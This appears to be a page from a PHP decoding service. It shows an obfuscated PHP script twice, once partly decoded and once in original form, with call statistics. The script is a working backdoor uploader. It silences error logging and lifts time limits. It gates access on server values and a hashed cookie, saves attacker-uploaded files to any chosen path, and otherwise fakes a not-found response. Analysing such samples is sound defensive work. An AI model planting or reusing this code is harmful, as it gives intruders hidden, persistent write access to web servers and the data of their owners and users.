Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @/*OrIrQ([1NQ@J`WleJ|~6*/ini_set/*$K4a,*/('log_errors', 0); @//*Xd]PbadyRl#p f^\x ..

Decoded Output download

<?php 
@/*OrIrQ([1NQ@J`WleJ|~6*/ini_set/*$K4a,*/('log_errors', 0); 
@//*Xd]PbadyRl#p f^\x 
ini_set//mxK6) 
('error_log', NULL); 
@ /*d]6`A7=Y>t*/ini_set ##^`0oWovS 
('error_reporting', NULL); 
@ ##04YMlK9`NS3klDO*I 
error_reporting//O7yk!)dGP 
(0); 
@ /*Xny%d2]6R4*/ini_set/*}xW~f_41*/('max_execution_time', 0); 
@//A9|CXyKeN>nN*S0u}9SL 
set_time_limit//cDRh1;<Y<!h7|Xuuw1 
(0); 
@//iI1yNO>]G84%4 
ignore_user_abort/*1H[*=Xe2}b**/(true); 
     
function  ##Ok#PG3DAVSm4U*Y6XVl 
O ##B(1r.!6ik@ez\q^~ 
($s){ 
     ##{<kUqVofvD[,z\ 
$O//[YLtB),]~Dx 
=  ##_%wu_ 
"b". ##uIRzGq 
"ase64_decode";//;}oB}A1d$I9^b b:! 
 
    /*@]j8=tAp{V*/$s ###L*[` 
=  ## WZTC[1kYMh3 
$O//wD~tp# 
($s); 
     //>W8*\v^yD 
$O/*Gt8SZo[zRWt*/= /*DP$KSE4G!QMRPoZ&PQ(*/"gzinflate";//1#Z[=]6]DBGfgb+\%4 
  
    return /*E2<%P6Eh@7[L]L+I4GdD*/$O ##JKiaPVYuU|L3&G~mJl 
($s); 
} 
     
if(//tH(@JV.*|ST^ 
md5//h6_`G6WMAmR2O01 
(//[TjK= & }w7BMW 
md5 ##jXIJnS(U 
(/*$$=U9*/md5 ##JBs;&+ 
( ##vQ|,orj}w 
$_SERVER/*iG_yD.s~!*/[ ##\X6r^8\$H\<Rf1HTRwq 
O ##Va-d18qU%s6aAcvC>N#^ 
( /*(DWDq`s#<-b8_@(*/'8wgJCYgPDXYNind0d/ULAQA=')//=uMN^G33bp 
 ]))) == /*yG&3PR>e0o]a*/O ##SLV<=EGKjZN&^& 
(  ##V:c|oS#mAb 
'M7Y0NTFKSTVJNUpLNDUwMTNKsTRLTTQyS7Uwt0g0M7UAAA==')//XTC4W2NM. 
 ){ 
	if(  ##As]C]g@f_DC 
session_start//y-y5intz^5X)Nx)6C 
()){//w%4wg(s%G$V1 
preg_match/*WnS6`GY@i*/(  ##2Sq=(x1 
O ##vHQqq<Y+1&:*L 
(/*fkdh$db@W5loq$I*/'04+LjrOK1dLPBAA=')/*%9.$9B9u6#*/ , /*e5@H%*/$_SERVER//^{k:]~M 
[/*63K+r*/O ##g8\0i{o|w 
( ##InR)|jZUDt(QtV;T 
'8wgJCYj38A8OAQA=')/***JL$T@zxUcFU;rxe]#U*/], $AHQQCEKWO); ##9<9!W8`7+Qb9 
$KEGYTXTKB//:Mn9S>bjsu 
=  //{Qr!J*hSC 
$AHQQCEKWO//7JOE5;cf*nZh]T* 
[0];if(@/*6JtWwoCFG{q*7=Ji7*/md5//iryALbv1DL7KxccOr 
( ##5Keir 
$_COOKIE//x>=uVF 
[ /**OnY=KU@LElyp:`I*/md5/*4H!h~Dea7+a*/(/*6EfUN<sq.Y|f7~9*/$KEGYTXTKB//DuQ!tktTe@4s 
. //zB+v~bJH3 
O ##|a]b] 
(/*hfIi;UzqnQN+*/'KyguTwEA')//Z^yr9G> 
)]) != //xfW:g `)#%KJ 
O/*s.(Cb*/( ##R{vIX 
'MzZIMjZLSTExTDRIMbZMTUs2M0u0NDUwMTEzNjJKS7QEAA==')//r-J+S$ `~GA;;LW 
 ){echo /*T%KNT6k+f[LND,VHjxCW*/O ##5tVmDK)A 
( //yRI<`[qVamP)<7l*rO 
'C8lIVUgsLcnIL8qsSizJzM9TSEvMzElN0VEoyElNLE5VKEpV0IUpSAUA')/*R~v(.IUj|fqgbW,*/;exit();}} 
	if(!empty(/*1Cz:Ok*/$_FILES ##r6AL]dcY(si~.%zu_I 
[//;76WDU)^ne#$q 
O ##fwLDGH)jf\ 
(/*01jvt#XF|-&n>V9*/'y610y8xJBQA=') ##=+ pR|\2=z_ 
])){ 
		//K5rVg~x:#L&YP\ 
move_uploaded_file ##VJ-)Q_,kb 
(  ##=Rj6puzWnC0~H( 
$_FILES//Ptqe*IVItJ 
[ /* ULuv#2[t*/O/*RM_]|WB {J~nPG F*/( ##NQFG<Vo[DX{I\ZkVn= 
'y610y8xJBQA=')/*Sge2S5MNFz`M|Nclkr*/ ][//72MT9N1K,@nw8l 
O/*C5@fQ*/( ##CcC2 # 
'K8ktiM9LzE0FAA==')//w8<s6ajs:OTDb)Qc~>cK 
],//H(IY[|9pZ 
$_FILES//w39GS*qFK6K 
[ ##8(O{mjH0Q,GuY 
O ##^:#e7xYN:`6^r> 
(/*18`pg*/'y610y8xJBQA=')//6yM#;jJ]f<e 
][  ##6Ms}WyxwW$ 
O//sA#wSI 
( ##jJ!v+4{( 
'y0vMTQUA')/*DjLEc<q:m@NDb|HH_.3 */]); 
	} 
	echo  ##:v7Rdzu*$,u 
O ##-JPiNo^sGe_X6TI 
(/*g%{j_aU+1DXsN<h*/'4+XitEnLL8pVSM1LLqksSLVVyi3NKcksSCwq0QeJ66YkliQqKSQml2Tm59kqKSnkppZk5KfYKgX4B4co2SnwAvVn5hWUlijkJeaCdFe6ZeakKilAzEoDsZEVQYSLS5NyM0uUFMoSc0qB3Cc7up7sWfBsWvuT3dugqsF22wEA')/*mXkG=*/; 
	exit; 
}else{ 
	 /*Y>S*j3$*/header/*!sfrE1P;:H*/( ##M:_Ol> 
O ##<3#<ju|9 
(//T0Zetw 
'8wgJCdA31DNUMDEwUfDLL1Fwyy/NSwEA')//=(,1{j5Z 
); 
	 ##gVhuLt|M7g%=^ 
header/*m]brasw.{|{$R(jW*/(/*C!lTBox\P*/O/*1.<-c}k2>*/(  ##O_eSr 
'Ky5JLCkttlIwMTBR8MsvUXDLL81LAQA=')//L1!F>j 
); 
	exit(); 
} ?>

Did this file decode correctly?

Original Code

<?php
@/*OrIrQ([1NQ@J`WleJ|~6*/ini_set/*$K4a,*/('log_errors', 0);
@//*Xd]PbadyRl#p f^\x
ini_set//mxK6)
('error_log', NULL);
@ /*d]6`A7=Y>t*/ini_set ##^`0oWovS
('error_reporting', NULL);
@ ##04YMlK9`NS3klDO*I
error_reporting//O7yk!)dGP
(0);
@ /*Xny%d2]6R4*/ini_set/*}xW~f_41*/('max_execution_time', 0);
@//A9|CXyKeN>nN*S0u}9SL
set_time_limit//cDRh1;<Y<!h7|Xuuw1
(0);
@//iI1yNO>]G84%4
ignore_user_abort/*1H[*=Xe2}b**/(true);
    
function  ##Ok#PG3DAVSm4U*Y6XVl
O ##B(1r.!6ik@ez\q^~
($s){
     ##{<kUqVofvD[,z\
$O//[YLtB),]~Dx
=  ##_%wu_
"\x62". ##uIRzGq
"\x61s\x656\x34_\x64\x65c\x6f\x64\x65";//;}oB}A1d$I9^b b:!

    /*@]j8=tAp{V*/$s ###L*[`
=  ## WZTC[1kYMh3
$O//wD~tp#
($s);
     //>W8*\v^yD
$O/*Gt8SZo[zRWt*/= /*DP$KSE4G!QMRPoZ&PQ(*/"\x67\x7ain\x66l\x61t\x65";//1#Z[=]6]DBGfgb+\%4
 
    return /*E2<%P6Eh@7[L]L+I4GdD*/$O ##JKiaPVYuU|L3&G~mJl
($s);
}
    
if(//tH(@JV.*|ST^
md5//h6_`G6WMAmR2O01
(//[TjK= & }w7BMW
md5 ##jXIJnS(U
(/*$$=U9*/md5 ##JBs;&+
( ##vQ|,orj}w
$_SERVER/*iG_yD.s~!*/[ ##\X6r^8\$H\<Rf1HTRwq
O ##Va-d18qU%s6aAcvC>N#^
( /*(DWDq`s#<-b8_@(*/'8wgJCYgPDXYNind0d/ULAQA=')//=uMN^G33bp
 ]))) == /*yG&3PR>e0o]a*/O ##SLV<=EGKjZN&^&
(  ##V:c|oS#mAb
'M7Y0NTFKSTVJNUpLNDUwMTNKsTRLTTQyS7Uwt0g0M7UAAA==')//XTC4W2NM.
 ){
	if(  ##As]C]g@f_DC
session_start//y-y5intz^5X)Nx)6C
()){//w%4wg(s%G$V1
preg_match/*WnS6`GY@i*/(  ##2Sq=(x1
O ##vHQqq<Y+1&:*L
(/*fkdh$db@W5loq$I*/'04+LjrOK1dLPBAA=')/*%9.$9B9u6#*/ , /*e5@H%*/$_SERVER//^{k:]~M
[/*63K+r*/O ##g8\0i{o|w
( ##InR)|jZUDt(QtV;T
'8wgJCYj38A8OAQA=')/***JL$T@zxUcFU;rxe]#U*/], $AHQQCEKWO); ##9<9!W8`7+Qb9
$KEGYTXTKB//:Mn9S>bjsu
=  //{Qr!J*hSC
$AHQQCEKWO//7JOE5;cf*nZh]T*
[0];if(@/*6JtWwoCFG{q*7=Ji7*/md5//iryALbv1DL7KxccOr
( ##5Keir
$_COOKIE//x>=uVF
[ /**OnY=KU@LElyp:`I*/md5/*4H!h~Dea7+a*/(/*6EfUN<sq.Y|f7~9*/$KEGYTXTKB//DuQ!tktTe@4s
. //zB+v~bJH3
O ##|a]b]
(/*hfIi;UzqnQN+*/'KyguTwEA')//Z^yr9G>
)]) != //xfW:g `)#%KJ
O/*s.(Cb*/( ##R{vIX
'MzZIMjZLSTExTDRIMbZMTUs2M0u0NDUwMTEzNjJKS7QEAA==')//r-J+S$ `~GA;;LW
 ){echo /*T%KNT6k+f[LND,VHjxCW*/O ##5tVmDK)A
( //yRI<`[qVamP)<7l*rO
'C8lIVUgsLcnIL8qsSizJzM9TSEvMzElN0VEoyElNLE5VKEpV0IUpSAUA')/*R~v(.IUj|fqgbW,*/;exit();}}
	if(!empty(/*1Cz:Ok*/$_FILES ##r6AL]dcY(si~.%zu_I
[//;76WDU)^ne#$q
O ##fwLDGH)jf\
(/*01jvt#XF|-&n>V9*/'y610y8xJBQA=') ##=+ pR|\2=z_
])){
		//K5rVg~x:#L&YP\
move_uploaded_file ##VJ-)Q_,kb
(  ##=Rj6puzWnC0~H(
$_FILES//Ptqe*IVItJ
[ /* ULuv#2[t*/O/*RM_]|WB {J~nPG F*/( ##NQFG<Vo[DX{I\ZkVn=
'y610y8xJBQA=')/*Sge2S5MNFz`M|Nclkr*/ ][//72MT9N1K,@nw8l
O/*C5@fQ*/( ##CcC2 #
'K8ktiM9LzE0FAA==')//w8<s6ajs:OTDb)Qc~>cK
],//H(IY[|9pZ
$_FILES//w39GS*qFK6K
[ ##8(O{mjH0Q,GuY
O ##^:#e7xYN:`6^r>
(/*18`pg*/'y610y8xJBQA=')//6yM#;jJ]f<e
][  ##6Ms}WyxwW$
O//sA#wSI
( ##jJ!v+4{(
'y0vMTQUA')/*DjLEc<q:m@NDb|HH_.3 */]);
	}
	echo  ##:v7Rdzu*$,u
O ##-JPiNo^sGe_X6TI
(/*g%{j_aU+1DXsN<h*/'4+XitEnLL8pVSM1LLqksSLVVyi3NKcksSCwq0QeJ66YkliQqKSQml2Tm59kqKSnkppZk5KfYKgX4B4co2SnwAvVn5hWUlijkJeaCdFe6ZeakKilAzEoDsZEVQYSLS5NyM0uUFMoSc0qB3Cc7up7sWfBsWvuT3dugqsF22wEA')/*mXkG=*/;
	exit;
}else{
	 /*Y>S*j3$*/header/*!sfrE1P;:H*/( ##M:_Ol>
O ##<3#<ju|9
(//T0Zetw
'8wgJCdA31DNUMDEwUfDLL1Fwyy/NSwEA')//=(,1{j5Z
);
	 ##gVhuLt|M7g%=^
header/*m]brasw.{|{$R(jW*/(/*C!lTBox\P*/O/*1.<-c}k2>*/(  ##O_eSr
'Ky5JLCkttlIwMTBR8MsvUXDLL81LAQA=')//L1!F>j
);
	exit();
}

Function Calls

ini_set 4
set_time_limit 1
error_reporting 1
ignore_user_abort 1

Variables

None

Stats

MD5 63bc815e52945fb163f84cc7bb6cb8c4
Eval Count 0
Decode Time 77 ms